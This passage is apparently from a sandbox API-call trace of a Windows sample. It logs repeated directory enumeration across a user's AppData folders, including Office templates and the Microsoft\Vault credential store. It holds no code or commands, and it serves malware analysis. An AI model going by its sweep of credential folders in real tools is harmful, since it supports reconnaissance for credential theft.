ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.433] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.433] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Bibliography Styles", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Bibliography Styles", lpFilePart=0x0) returned 0x6f [0215.433] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Bibliography Styles\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\word document bibliography styles\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfa773, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96dfa773, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96dfa773, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.433] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfa773, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96dfa773, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96dfa773, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.434] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfa773, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96dfa773, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96dfa773, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.434] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.434] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Bibliography Styles", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Bibliography Styles", lpFilePart=0x0) returned 0x6f [0215.434] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Bibliography Styles\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\word document bibliography styles\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfa773, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96dfa773, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96dfa773, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.435] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfa773, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96dfa773, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96dfa773, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.435] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfa773, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96dfa773, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96dfa773, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.435] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.436] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks", lpFilePart=0x0) returned 0x6b [0215.436] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\word document building blocks\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.436] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.437] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0215.437] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0215.437] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.437] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks", lpFilePart=0x0) returned 0x6b [0215.438] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\word document building blocks\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.438] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.438] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0215.438] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.439] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.439] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks\\1033", lpFilePart=0x0) returned 0x70 [0215.439] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks\\1033\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\word document building blocks\\1033\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.440] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.441] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.441] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.441] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks\\1033", lpFilePart=0x0) returned 0x70 [0215.441] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Word Document Building Blocks\\1033\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\word document building blocks\\1033\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.442] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.442] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec9752, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96ec9752, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96ec9752, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.442] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0215.442] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Vault", lpFilePart=0x0) returned 0x35 [0215.443] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Vault\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\vault\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb898985, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.443] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb898985, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.443] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb898985, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.444] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0215.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0215.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0215.444] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Vault", lpFilePart=0x0) returned 0x35 [0215.444] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Vault\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\vault\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb898985, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.444] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb898985, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.445] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb898985, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.445] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0215.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0215.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0215.445] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x37 [0215.445] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.446] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.446] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43708645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43708645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43708645, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0215.446] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2b1d2cc3, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1d8e71, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0215.447] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0215.447] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShell", cAlternateFileName="POWERS~1")) returned 1 [0215.447] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, 